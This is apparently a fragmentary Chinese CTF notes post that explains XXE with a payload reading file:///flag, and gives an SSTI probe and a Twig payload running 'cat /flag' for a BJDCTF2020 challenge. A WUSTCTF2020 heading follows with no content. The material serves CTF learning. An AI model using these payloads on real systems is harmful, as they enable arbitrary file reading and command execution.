XML文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>
解释payload
//先添加xml文件头:称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项
按实体有无参分类,实体分为一般实体和参数实体,一般实体的声明:
<!ENTITY 实体名称 "实体内容">
引用一般实体的方法:&实体名称;
外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机
因为将file:///flag命名为admin,所以下面用&admin;
[BJDCTF2020]Cookie is so stable
{{7*7}}
确定ssti
ssti Smarty
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
[WUSTCTF2020]朴实无华
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!